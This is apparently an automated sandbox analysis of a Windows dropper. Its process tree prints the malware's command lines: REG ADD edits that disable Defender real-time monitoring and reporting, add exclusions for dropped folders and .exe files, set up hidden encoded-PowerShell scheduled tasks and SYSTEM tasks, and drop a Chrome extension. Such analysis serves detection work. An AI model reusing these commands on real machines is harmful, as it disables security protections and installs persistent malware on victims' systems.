powershell.EXEpowershell.EXEpowershell.EXEpowershell.EXEdescription pid process Token: SeDebugPrivilege 1524 powershell.EXE Token: SeDebugPrivilege 1632 powershell.EXE Token: SeDebugPrivilege 1344 powershell.EXE Token: SeDebugPrivilege 1288 powershell.EXE -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
file.exeInstall.exeInstall.exeforfiles.exeforfiles.execmd.execmd.exedescription pid process target process PID 360 wrote to memory of 288 360 file.exe Install.exe PID 360 wrote to memory of 288 360 file.exe Install.exe PID 360 wrote to memory of 288 360 file.exe Install.exe PID 360 wrote to memory of 288 360 file.exe Install.exe PID 360 wrote to memory of 288 360 file.exe Install.exe PID 360 wrote to memory of 288 360 file.exe Install.exe PID 360 wrote to memory of 288 360 file.exe Install.exe PID 288 wrote to memory of 956 288 Install.exe Install.exe PID 288 wrote to memory of 956 288 Install.exe Install.exe PID 288 wrote to memory of 956 288 Install.exe Install.exe PID 288 wrote to memory of 956 288 Install.exe Install.exe PID 288 wrote to memory of 956 288 Install.exe Install.exe PID 288 wrote to memory of 956 288 Install.exe Install.exe PID 288 wrote to memory of 956 288 Install.exe Install.exe PID 956 wrote to memory of 592 956 Install.exe forfiles.exe PID 956 wrote to memory of 592 956 Install.exe forfiles.exe PID 956 wrote to memory of 592 956 Install.exe forfiles.exe PID 956 wrote to memory of 592 956 Install.exe forfiles.exe PID 956 wrote to memory of 592 956 Install.exe forfiles.exe PID 956 wrote to memory of 592 956 Install.exe forfiles.exe PID 956 wrote to memory of 592 956 Install.exe forfiles.exe PID 956 wrote to memory of 1116 956 Install.exe forfiles.exe PID 956 wrote to memory of 1116 956 Install.exe forfiles.exe PID 956 wrote to memory of 1116 956 Install.exe forfiles.exe PID 956 wrote to memory of 1116 956 Install.exe forfiles.exe PID 956 wrote to memory of 1116 956 Install.exe forfiles.exe PID 956 wrote to memory of 1116 956 Install.exe forfiles.exe PID 956 wrote to memory of 1116 956 Install.exe forfiles.exe PID 592 wrote to memory of 1640 592 forfiles.exe cmd.exe PID 592 wrote to memory of 1640 592 forfiles.exe cmd.exe PID 592 wrote to memory of 1640 592 forfiles.exe cmd.exe PID 592 wrote to memory of 1640 592 forfiles.exe cmd.exe PID 592 wrote to memory of 1640 592 forfiles.exe cmd.exe PID 592 wrote to memory of 1640 592 forfiles.exe cmd.exe PID 592 wrote to memory of 1640 592 forfiles.exe cmd.exe PID 1116 wrote to memory of 1688 1116 forfiles.exe cmd.exe PID 1116 wrote to memory of 1688 1116 forfiles.exe cmd.exe PID 1116 wrote to memory of 1688 1116 forfiles.exe cmd.exe PID 1116 wrote to memory of 1688 1116 forfiles.exe cmd.exe PID 1116 wrote to memory of 1688 1116 forfiles.exe cmd.exe PID 1116 wrote to memory of 1688 1116 forfiles.exe cmd.exe PID 1116 wrote to memory of 1688 1116 forfiles.exe cmd.exe PID 1688 wrote to memory of 1200 1688 cmd.exe reg.exe PID 1640 wrote to memory of 580 1640 cmd.exe reg.exe PID 1688 wrote to memory of 1200 1688 cmd.exe reg.exe PID 1688 wrote to memory of 1200 1688 cmd.exe reg.exe PID 1640 wrote to memory of 580 1640 cmd.exe reg.exe PID 1640 wrote to memory of 580 1640 cmd.exe reg.exe PID 1688 wrote to memory of 1200 1688 cmd.exe reg.exe PID 1640 wrote to memory of 580 1640 cmd.exe reg.exe PID 1688 wrote to memory of 1200 1688 cmd.exe reg.exe PID 1688 wrote to memory of 1200 1688 cmd.exe reg.exe PID 1640 wrote to memory of 580 1640 cmd.exe reg.exe PID 1640 wrote to memory of 580 1640 cmd.exe reg.exe PID 1688 wrote to memory of 1200 1688 cmd.exe reg.exe PID 1640 wrote to memory of 580 1640 cmd.exe reg.exe PID 1688 wrote to memory of 1496 1688 cmd.exe reg.exe PID 1688 wrote to memory of 1496 1688 cmd.exe reg.exe PID 1688 wrote to memory of 1496 1688 cmd.exe reg.exe PID 1688 wrote to memory of 1496 1688 cmd.exe reg.exe PID 1688 wrote to memory of 1496 1688 cmd.exe reg.exe PID 1688 wrote to memory of 1496 1688 cmd.exe reg.exe PID 1640 wrote to memory of 1708 1640 cmd.exe reg.exe PID 1640 wrote to memory of 1708 1640 cmd.exe reg.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\file.exe"C:\Users\Admin\AppData\Local\Temp\file.exe"1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS1B5E.tmp\Install.exe.\Install.exe2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS2260.tmp\Install.exe.\Install.exe /S /site_id "525403"3⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Loads dropped DLL
- Drops file in System32 directory
- Enumerates system info in registry
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32® ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32® ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&5⤵
- Suspicious use of WriteProcessMemory
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:326⤵
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:646⤵
-
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32® ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32® ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&5⤵
- Suspicious use of WriteProcessMemory
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:326⤵
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:646⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "ghZhClFtX" /SC once /ST 02:02:28 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="4⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "ghZhClFtX"4⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "ghZhClFtX"4⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "bNpHvRwEXzIclVjPnA" /SC once /ST 05:04:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\erzvrHvcaZerrtDXV\dMUiSaChFqmKilH\oqjBVgF.exe\" hV /site_id 525403 /S" /V1 /F4⤵
- Drops file in Windows directory
- Creates scheduled task(s)
-
C:\Windows\system32\taskeng.exetaskeng.exe {5E57696C-A012-4CAF-9166-301A2B33D0B5} S-1-5-21-2292972927-2705560509-2768824231-1000:GRXNNIIE\Admin:Interactive:[1]1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\gpupdate.exe"C:\Windows\system32\gpupdate.exe" /force3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\gpupdate.exe"C:\Windows\system32\gpupdate.exe" /force3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\gpupdate.exe"C:\Windows\system32\gpupdate.exe" /force3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\gpupdate.exe"C:\Windows\system32\gpupdate.exe" /force3⤵
-
C:\Windows\system32\gpscript.exegpscript.exe /RefreshSystemParam1⤵
-
C:\Windows\system32\taskeng.exetaskeng.exe {56ADAA92-43E5-45E9-BE4B-60B7C06D078D} S-1-5-18:NT AUTHORITY\System:Service:1⤵
-
C:\Users\Admin\AppData\Local\Temp\erzvrHvcaZerrtDXV\dMUiSaChFqmKilH\oqjBVgF.exeC:\Users\Admin\AppData\Local\Temp\erzvrHvcaZerrtDXV\dMUiSaChFqmKilH\oqjBVgF.exe hV /site_id 525403 /S2⤵
- Executes dropped EXE
- Drops file in System32 directory
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "gAbPXwjsT" /SC once /ST 00:33:56 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="3⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "gAbPXwjsT"3⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "gAbPXwjsT"3⤵
-
C:\Windows\SysWOW64\cmd.execmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:324⤵
- Modifies Windows Defender Real-time Protection settings
-
C:\Windows\SysWOW64\cmd.execmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:644⤵
- Modifies Windows Defender Real-time Protection settings
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "gqXnxUaRw" /SC once /ST 02:48:29 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="3⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "gqXnxUaRw"3⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "gqXnxUaRw"3⤵
-
C:\Windows\SysWOW64\cmd.execmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\lhYCvcGAfKQiHdyz" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\lhYCvcGAfKQiHdyz" /t REG_DWORD /d 0 /reg:324⤵
- Windows security bypass
-
C:\Windows\SysWOW64\cmd.execmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\lhYCvcGAfKQiHdyz" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\lhYCvcGAfKQiHdyz" /t REG_DWORD /d 0 /reg:644⤵
- Windows security bypass
-
C:\Windows\SysWOW64\cmd.execmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\lhYCvcGAfKQiHdyz" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\lhYCvcGAfKQiHdyz" /t REG_DWORD /d 0 /reg:324⤵
-
C:\Windows\SysWOW64\cmd.execmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\lhYCvcGAfKQiHdyz" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\lhYCvcGAfKQiHdyz" /t REG_DWORD /d 0 /reg:644⤵
-
C:\Windows\SysWOW64\cmd.execmd /C copy nul "C:\Windows\Temp\lhYCvcGAfKQiHdyz\rQscCDAD\RuwctyNStSOzIcNe.wsf"3⤵
-
C:\Windows\SysWOW64\wscript.exewscript "C:\Windows\Temp\lhYCvcGAfKQiHdyz\rQscCDAD\RuwctyNStSOzIcNe.wsf"3⤵
- Modifies data under HKEY_USERS
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\SfrSbxhXbhVCC" /t REG_DWORD /d 0 /reg:324⤵
- Windows security bypass
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\SfrSbxhXbhVCC" /t REG_DWORD /d 0 /reg:644⤵
- Windows security bypass
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\dWSjIMqfbdUn" /t REG_DWORD /d 0 /reg:324⤵
- Windows security bypass
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\dWSjIMqfbdUn" /t REG_DWORD /d 0 /reg:644⤵
- Windows security bypass
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\jFRyDUODU" /t REG_DWORD /d 0 /reg:324⤵
- Windows security bypass
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\jFRyDUODU" /t REG_DWORD /d 0 /reg:644⤵
- Windows security bypass
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\jWYIfSfaEDaYgVKkjRR" /t REG_DWORD /d 0 /reg:324⤵
- Windows security bypass
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\jWYIfSfaEDaYgVKkjRR" /t REG_DWORD /d 0 /reg:644⤵
- Windows security bypass
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\oCfcnVibUgRU2" /t REG_DWORD /d 0 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\oCfcnVibUgRU2" /t REG_DWORD /d 0 /reg:644⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\wMiAwpnFkXrivKVB" /t REG_DWORD /d 0 /reg:324⤵
- Windows security bypass
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\wMiAwpnFkXrivKVB" /t REG_DWORD /d 0 /reg:644⤵
- Windows security bypass
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\erzvrHvcaZerrtDXV" /t REG_DWORD /d 0 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\erzvrHvcaZerrtDXV" /t REG_DWORD /d 0 /reg:644⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\lhYCvcGAfKQiHdyz" /t REG_DWORD /d 0 /reg:324⤵
- Windows security bypass
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\lhYCvcGAfKQiHdyz" /t REG_DWORD /d 0 /reg:644⤵
- Windows security bypass
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\SfrSbxhXbhVCC" /t REG_DWORD /d 0 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\SfrSbxhXbhVCC" /t REG_DWORD /d 0 /reg:644⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\dWSjIMqfbdUn" /t REG_DWORD /d 0 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\dWSjIMqfbdUn" /t REG_DWORD /d 0 /reg:644⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\jFRyDUODU" /t REG_DWORD /d 0 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\jFRyDUODU" /t REG_DWORD /d 0 /reg:644⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\jWYIfSfaEDaYgVKkjRR" /t REG_DWORD /d 0 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\jWYIfSfaEDaYgVKkjRR" /t REG_DWORD /d 0 /reg:644⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\oCfcnVibUgRU2" /t REG_DWORD /d 0 /reg:324⤵
- Windows security bypass
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\oCfcnVibUgRU2" /t REG_DWORD /d 0 /reg:644⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\wMiAwpnFkXrivKVB" /t REG_DWORD /d 0 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\wMiAwpnFkXrivKVB" /t REG_DWORD /d 0 /reg:644⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\erzvrHvcaZerrtDXV" /t REG_DWORD /d 0 /reg:324⤵
- Windows security bypass
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\erzvrHvcaZerrtDXV" /t REG_DWORD /d 0 /reg:644⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\lhYCvcGAfKQiHdyz" /t REG_DWORD /d 0 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\lhYCvcGAfKQiHdyz" /t REG_DWORD /d 0 /reg:644⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "gLJryVZEs" /SC once /ST 00:40:56 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="3⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "gLJryVZEs"3⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "gLJryVZEs"3⤵
-
C:\Windows\SysWOW64\cmd.execmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:323⤵
-
C:\Windows\SysWOW64\reg.exeREG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:324⤵
-
C:\Windows\SysWOW64\cmd.execmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:643⤵
-
C:\Windows\SysWOW64\reg.exeREG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:644⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "ZfXrITCAwqWWdJVle" /SC once /ST 04:12:26 /RU "SYSTEM" /TR "\"C:\Windows\Temp\lhYCvcGAfKQiHdyz\TUiVwphJwWVEcGl\YPUZOtr.exe\" Rv /site_id 525403 /S" /V1 /F3⤵
- Drops file in Windows directory
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "ZfXrITCAwqWWdJVle"3⤵
-
C:\Windows\Temp\lhYCvcGAfKQiHdyz\TUiVwphJwWVEcGl\YPUZOtr.exeC:\Windows\Temp\lhYCvcGAfKQiHdyz\TUiVwphJwWVEcGl\YPUZOtr.exe Rv /site_id 525403 /S2⤵
- Executes dropped EXE
- Checks computer location settings
- Drops Chrome extension
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "bNpHvRwEXzIclVjPnA"3⤵
-
C:\Windows\SysWOW64\cmd.execmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:323⤵
-
C:\Windows\SysWOW64\reg.exeREG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:324⤵
-
C:\Windows\SysWOW64\cmd.execmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:643⤵
-
C:\Windows\SysWOW64\reg.exeREG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:644⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\jFRyDUODU\ZzJGer.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "bcMXixuPVnLBvIi" /V1 /F3⤵
- Drops file in Windows directory
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "bcMXixuPVnLBvIi2" /F /xml "C:\Program Files (x86)\jFRyDUODU\scWPPWv.xml" /RU "SYSTEM"3⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /END /TN "bcMXixuPVnLBvIi"3⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "bcMXixuPVnLBvIi"3⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "BohWRrpvXkQUIE" /F /xml "C:\Program Files (x86)\oCfcnVibUgRU2\juEqXNI.xml" /RU "SYSTEM"3⤵
- Creates scheduled task(s)
-
